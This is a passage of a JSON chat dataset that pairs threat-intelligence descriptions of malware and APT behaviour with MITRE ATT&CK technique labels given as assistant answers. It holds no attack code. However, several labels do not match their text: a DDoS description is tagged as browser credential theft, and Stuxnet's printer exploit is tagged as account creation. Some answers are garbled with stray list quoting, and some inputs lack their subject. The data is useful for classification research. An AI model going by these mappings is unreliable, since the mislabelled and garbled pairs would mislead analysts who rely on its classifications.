            },
            {
                "role": "user",
                "content": "At this point in the execution cycle, the FoggyWeb DLL is loaded into one or more application domains where the legitimate AD FS code is running. This means the backdoor code runs alongside the AD FS code with the same access and permissions as the AD FS application. Such access allows the FoggyWeb backdoor to directly interact with the AD FS codebase (that is, not an external disk-resident tool) and selectively invoke native AD FS methods needed to facilitate its malicious operations"
            },
            {
                "role": "assistant",
                "content": "T1036.005 - Masquerading: Match Legitimate Name or Location"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Magic Hound has compromised email credentials in order to steal sensitive data."
            },
            {
                "role": "assistant",
                "content": "T1114 - Email Collection"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Felismus has masqueraded as legitimate Adobe Content Management System files."
            },
            {
                "role": "assistant",
                "content": "T1036.005 - Masquerading: Match Legitimate Name or Location"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Okrum can establish persistence by adding a new service NtmsSvc with the display name Removable Storage to masquerade as a legitimate Removable Storage Manager."
            },
            {
                "role": "assistant",
                "content": "T1036.004 - Masquerading: Masquerade Task or Service"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "QuasarRAT has a command to edit the Registry on the victim’s machine."
            },
            {
                "role": "assistant",
                "content": "T1112 - Modify Registry"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Kwampirs collects a list of available servers with the command \"net view\"."
            },
            {
                "role": "assistant",
                "content": "T1018 - Remote System Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "has used DLL side-loading to load malicious payloads."
            },
            {
                "role": "assistant",
                "content": "T1574.002 - Hijack Execution Flow: DLL Side-Loading"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "searches for interesting files (either a default or customized set of file extensions) on the local system and removable media."
            },
            {
                "role": "assistant",
                "content": "T1083 - File and Directory Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "SPLM, otherwise known as CHOPSTICK, or by the author(s) as “XAgent”, is described as Sofacy’s signature second stage tool, selectively used for years against around the world. Really, many modified XAgent modules have been deployed over the years. Even the individual Linux modules renamed as “Fysbis” backdoors released in 2016 were merely modified and reduced portions of recompiled XAgent C/C++ codebase. Anyway, SPLM/CHOPSTICK has maintained various combinations of code, with some recognizable functionality listed here."
            },
            {
                "role": "assistant",
                "content": "T1587.001 - Malware"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Machete has created scheduled tasks to maintain Machete's persistence."
            },
            {
                "role": "assistant",
                "content": "T1053.005 - Scheduled Task/Job: Scheduled Task"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Avenger can extract backdoor malware from downloaded images."
            },
            {
                "role": "assistant",
                "content": "T1027.003 - Steganography"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Stuxnet extracts and writes driver files that match the times of other legitimate files."
            },
            {
                "role": "assistant",
                "content": "T1070.006 - Indicator Removal on Host: Timestomp"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "has used a global service provider's IP as a proxy for C2 traffic from a victim."
            },
            {
                "role": "assistant",
                "content": "T1090 - Proxy"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "37 38 zlib64.dll zlib32.dll Open source “zlib” version 1.2.3 used by libpngXX.dll for compressing screenshots (ssXX.dll)"
            },
            {
                "role": "assistant",
                "content": "T1055 - Process Injection', 'T1574.002 - Hijack Execution Flow: DLL Side-Loading"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Kevin can generate a sequence of dummy HTTP C2 requests to obscure traffic."
            },
            {
                "role": "assistant",
                "content": "T1001.001 - Junk Data"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Silence has used ProxyBot, which allows the attacker to redirect traffic from the current node to the backconnect server via Sock4\\Socks5."
            },
            {
                "role": "assistant",
                "content": "T1090.002 - External Proxy"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Donut can generate shellcode outputs that execute via Ruby."
            },
            {
                "role": "assistant",
                "content": "T1059 - Command and Scripting Interpreter"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "prompts the user for their credentials."
            },
            {
                "role": "assistant",
                "content": "T1056 - Input Capture"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "This DLL has no other noticeable characteristics, as it functions like a typical malicious sideload. After loading the encrypted payload in memory, it transfers the execution to a shellcode that is located at the beginning of the file. Once loaded in memory, the ZeroT shellcode does not present any kind of obfuscation, unlike that for PlugX. As in the new PlugX dropper detailed below, this is done using RC4 and RtlDecompressBuffer. As in PlugX samples, the PE header of ZeroT has been tampered with, specifically the “MZ” and “PE” constants (Fig"
            },
            {
                "role": "assistant",
                "content": "T1574.002 - Hijack Execution Flow: DLL Side-Loading"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "HiddenWasp adds itself to the LD_PRELOAD path and sets a series of environment variables."
            },
            {
                "role": "assistant",
                "content": "T1055 - Process Injection"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "APT3 has a tool that can detect the existence of remote systems."
            },
            {
                "role": "assistant",
                "content": "T1018 - Remote System Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "TEARDROP checked that \"HKU\\SOFTWARE\\Microsoft\\CTF\" existed before decoding its embedded payload."
            },
            {
                "role": "assistant",
                "content": "T1012 - Query Registry"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Lateral movement was done through Cobalt Strike. This tool was also used to distribute BAT files that will be used later for various purposes, including impairing the system’s defenses."
            },
            {
                "role": "assistant",
                "content": "T1588.002 - Tool', 'T1562 - Impair Defenses', 'T1570 - Lateral Tool Transfer"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "checks for the presence of Bitdefender security software."
            },
            {
                "role": "assistant",
                "content": "T1518.001 - Software Discovery: Security Software Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Ramsay can collect directory and file lists."
            },
            {
                "role": "assistant",
                "content": "T1083 - File and Directory Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "PoetRAT used TLS to encrypt communications over port 143"
            },
            {
                "role": "assistant",
                "content": "T1571 - Non-Standard Port"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The APT actors forced BitLocker activation on host networks to encrypt data [T1486]. The corresponding threatening notes were either sent to the victim or left on the victim network as a .txt file. The ransom notes included ransom demands and the following contact information. sar_addr@protonmail[.]com WeAreHere@secmail[.]pro nosterrmann@mail[.]com nosterrmann@protonmail[.]com"
            },
            {
                "role": "assistant",
                "content": "T1486 - Data Encrypted for Impact"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Ke3chang has developed custom malware that allowed them to maintain persistence on victim networks."
            },
            {
                "role": "assistant",
                "content": "T1587.001 - Malware"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The NewsBeef APT previously engaged in long-term, elaborate social engineering schemes that take advantage of popular social network platforms. Previous analysis of the NewsBeef APT indicates that the group focuses on Saudi Arabian (SA) and Western targets, and lacks advanced offensive technology development capabilities."
            },
            {
                "role": "assistant",
                "content": "T1593.001 - Social Media"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "1) The printer vulnerability MS10-061 exploited by Stuxnet – using a special MOF file, executed on the attacked system using WMI"
            },
            {
                "role": "assistant",
                "content": "T1136.001 - Create Account: Local Account"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Transparent Tribe has sent spearphishing e-mails with attachments to deliver malicious payloads."
            },
            {
                "role": "assistant",
                "content": "T1566.001 - Phishing: Spearphishing Attachment"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Upon execution, GoldMax retrieves a list of the system’s network interfaces; the malware terminates if it is unable to do so or no network interface is configured. It then attempts to determine if any of the network interfaces has the following hardcoded MAC address: c8:27:cc:c2:37:5a"
            },
            {
                "role": "assistant",
                "content": "T1016 - System Network Configuration Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "This update to Emissary allowed the Trojan to run as a service. The configuration now contains settings for the Emissary service, which the Trojan will store in and access from the following registry keys:"
            },
            {
                "role": "assistant",
                "content": "T1574.011 - Hijack Execution Flow: Services Registry Permissions Weakness"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Initially, cybercriminals used BlackEnergy custom plugins for launching DDoS attacks. While another crimeware group continues to use BlackEnergy to launch DDoS attacks, the BE2 APT appears to have used this tool exclusively throughout 2014 at victim sites and included custom plugins and scripts of their own. To be clear, our name for this actor has been the BE2 APT, while it has been called “Sandworm Team” also"
            },
            {
                "role": "assistant",
                "content": "T1555.003 - Credentials from Password Stores: Credentials from Web Browsers"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "has a package that collects documents from any inserted USB sticks."
            },
            {
                "role": "assistant",
                "content": "T1025 - Data from Removable Media"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Lazarus Group has used rundll32 to execute malicious payloads on a compromised host."
            },
            {
                "role": "assistant",
                "content": "T1218.011 - Signed Binary Proxy Execution: Rundll32"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The majority of documents used the name “gerry knight” for the author field in the document metadata, and the embedded macros largely used direct IP connections to command and control (C2) servers rather than using domain names"
            },
            {
                "role": "assistant",
                "content": "T1102 - Web Service"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "XAgentOSX contains the takeScreenShot (along with startTakeScreenShot and stopTakeScreenShot) functions to take screenshots using the CGGetActiveDisplayList, CGDisplayCreateImage, and NSImage:initWithCGImage methods."
            },
            {
                "role": "assistant",
                "content": "T1113 - Screen Capture"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Tropic Trooper has hidden payloads in Flash directories and fake installer files."
            },
            {
                "role": "assistant",
                "content": "T1036.005 - Masquerading: Match Legitimate Name or Location"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The victims Data from Cadelle’s C&C servers shows that a large number of Backdoor.Cadelspy infections affected individual users of Iranian internet service providers (ISPs) and hosting services"
            },
            {
                "role": "assistant",
                "content": "T1543 - Create or Modify System Process', 'T1543.003 - Create or Modify System Process: Windows Service"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "After applying this decryption algorithm, we are presented with the following data: h=HOSTNAME-PC&f=mission.ini&c=& The response made by the C2 server uses the same RC4 key for encryption"
            },
            {
                "role": "assistant",
                "content": "T1573 - Encrypted Channel"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Turla surveys a system upon check-in to discover information in the Windows Registry with the \"reg query\" command. Turla has also retrieved PowerShell payloads hidden in Registry keys as well as checking keys associated with null session named pipes ."
            },
            {
                "role": "assistant",
                "content": "T1012 - Query Registry"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "EVILNUM has changed the creation date of files."
            },
            {
                "role": "assistant",
                "content": "T1070.006 - Indicator Removal on Host: Timestomp"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A much more advanced and highly obfuscated Javascript script was utilized in White Atlas samples that dropped a Firefox extension backdoor developed by Turla, but again the script was responsible for the simple tasks of writing out the extension.json configuration file for the extension and deleting itself for cleanup purposes"
            },
            {
                "role": "assistant",
                "content": "T1070.004 - Indicator Removal on Host: File Deletion', 'T1064 - Scripting', 'T1027 - Obfuscated Files or Information"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Cobalt Strike can use spoof arguments in spawned processes that execute beacon commands."
            },
            {
                "role": "assistant",
                "content": "T1564.010 - Process Argument Spoofing"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "After this registry change, ShowCompColor and ShowInfoTip keys are also modified to disable the display of compressed and encrypted NTFS files in color. This setting allows you to see compressed files in a blue color"
            },
            {
                "role": "assistant",
                "content": "T1112 - Modify Registry"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Its use of a PowerShell payload means that only legitimate system processes are utilized and that the malicious code execution can only be identified through enhanced logging or in memory"
            },
            {
                "role": "assistant",
                "content": "T1546.013 - Event Triggered Execution: PowerShell Profile', 'T1059.001 - Command and Scripting Interpreter: PowerShell"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Astaroth obfuscates its JScript code, and has used an XOR-based algorithm to encrypt payloads twice with different keys."
            },
            {
                "role": "assistant",
                "content": "T1027 - Obfuscated Files or Information"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "BBSRAT accepts many possible commands that the C2 server can provide. These commands are sent as a response to the GET beacons that are continually requested via either HTTP or HTTPS. The following commands and sub-commands have been identified"
            },
            {
                "role": "assistant",
                "content": "T1071.001 - Application Layer Protocol: Web Protocols"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "With the file written to the system, the Trojan calls the \"GetishideAbById\" SOAP action to determine whether or not the C2 server wishes to execute the newly dropped file in a hidden window. This request is followed by a call to \"GetisrunasAbById\" to determine if the Trojan should use \"runas\" to execute the downloaded executable with elevated privileges, which would display the UAC dialog for the user to click"
            },
            {
                "role": "assistant",
                "content": "T1564.003 - Hide Artifacts: Hidden Window"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "An  downloader establishes SOCKS5 connections for its initial C2."
            },
            {
                "role": "assistant",
                "content": "T1090 - Proxy', 'T1095 - Non-Application Layer Protocol"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Clambling can wait 30 minutes before initiating contact with C2."
            },
            {
                "role": "assistant",
                "content": "T1497.003 - Time Based Evasion"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "TeamTNT has leveraged iplogger.org to send collected data back to C2."
            },
            {
                "role": "assistant",
                "content": "T1102 - Web Service"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "PLATINUM has used several different keyloggers."
            },
            {
                "role": "assistant",
                "content": "T1056.001 - Input Capture: Keylogging"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "OilRig has used net.exe in a script with \"net accounts /domain\" to find the password policy of a domain."
            },
            {
                "role": "assistant",
                "content": "T1201 - Password Policy Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "XAgentOSX contains keylogging functionality that will monitor for active application windows and write them to the log, it can handle special characters, and it will buffer by default 50 characters before sending them out over the C2 infrastructure."
            },
            {
                "role": "assistant",
                "content": "T1056.001 - Input Capture: Keylogging"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "has the ability to enumerate drive types."
            },
            {
                "role": "assistant",
                "content": "T1083 - File and Directory Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Night Dragon is known to use software packing in its tools."
            },
            {
                "role": "assistant",
                "content": "T1027.002 - Obfuscated Files or Information: Software Packing"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The  dropper can delete itself from the victim. Another  variant has the capability to delete specified files."
            },
            {
                "role": "assistant",
                "content": "T1070.004 - Indicator Removal on Host: File Deletion"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Mouse position: Darkhotel repeatedly checks for the position of the mouse cursor on the screen. If the cursor remains at the center of the desktop, it is unlikely that a real user is using the system. Because of this, most sandboxes periodically move the mouse cursor or perform some other type of interaction with the desktop"
            },
            {
                "role": "assistant",
                "content": "T1497.002 - User Activity Based Checks"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The malware uses the AMAP SDK to get accurate location of infected devices by GPS, mobile network (such as base stations), WiFi and other information. MobileOrder acts on instructions provided by its C2 server, which it communicates with over TCP port 3728. All C2 communications are encrypted with the AES algorithm using a key generated by computing five MD5 hashes starting with the key \"1qazxcvbnm\", and adding a salt value of “.)1/” in each iteration"
            },
            {
                "role": "assistant",
                "content": "T1082 - System Information Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Daserf — This backdoor has the functionality of a remote shell and can be used to execute commands, upload and download data, capture screenshots, and log keystrokes. As of this publication, BRONZE BUTLER demonstrates a preference for concurrently using Datper and xxmm in its operations. CTU researchers identified an xxmm builder for xxmm (see Figure 2), which suggests that the threat actors customize the xxmm malware settings based on the target. MSGet — This persistent downloader uses a dead-drop resolver (DDR) to download and execute another malicious payload. T-SMB Scan — This SMB scanning tool was originally published on a Chinese program-sharing website (pudn.com). BRONZE BUTLER removed its help message functionality. Use the ‘at' or ‘schtask' commands to register a scheduled task to be executed in a few minutes. Use malware to upload the large list of enumerated files to the C2 server. Use downloaders or other malware to send the new list to a compromised host. Use an uploader or other malware to send the archived files to an attacker-controlled server. Search proxy log files for evidence of web server scanning using the URL patterns associated with BRONZE BUTLER activity"
            },
            {
                "role": "assistant",
                "content": "T1053.002 - Scheduled Task/Job: At', 'T1053.005 - Scheduled Task/Job: Scheduled Task"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Attackers modified the Dll and FuncName Registry values in HKLM\\SOFTWARE[\\WOW6432Node]Microsoft\\Cryptography\\OID\\EncodingType 0\\CryptSIPDllGetSignedDataMsg{SIP_GUID} that point to the dynamic link library (DLL) providing a SIP’s CryptSIPDllGetSignedDataMsg function, which retrieves an encoded digital certificate from a signed file."
            },
            {
                "role": "assistant",
                "content": "T1553 - Subvert Trust Controls"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Bundlore will enumerate the macOS version to determine which follow-on behaviors to execute using \"/usr/bin/sw_vers -productVersion\"."
            },
            {
                "role": "assistant",
                "content": "T1082 - System Information Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The second version does not carry the payload directly but instead downloads it from a C2 into the same location as before. The C2 server address is embedded in the main executable in the TinkaOTP bundle. The hardcoded download and execution code are easily visible as they are unencrypted, plain UTF strings in the binary"
            },
            {
                "role": "assistant",
                "content": "T1105 - Ingress Tool Transfer"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "encrypts C2 traffic with AES and RSA."
            },
            {
                "role": "assistant",
                "content": "T1573 - Encrypted Channel"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "VERMIN can download and upload files to the victim's machine."
            },
            {
                "role": "assistant",
                "content": "T1105 - Ingress Tool Transfer"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Clop can use msiexec.exe to disable security tools on the system."
            },
            {
                "role": "assistant",
                "content": "T1218.007 - Signed Binary Proxy Execution: Msiexec"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "LookBack executes the \"cmd.exe\" command."
            },
            {
                "role": "assistant",
                "content": "T1059.003 - Command and Scripting Interpreter: Windows Command Shell"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
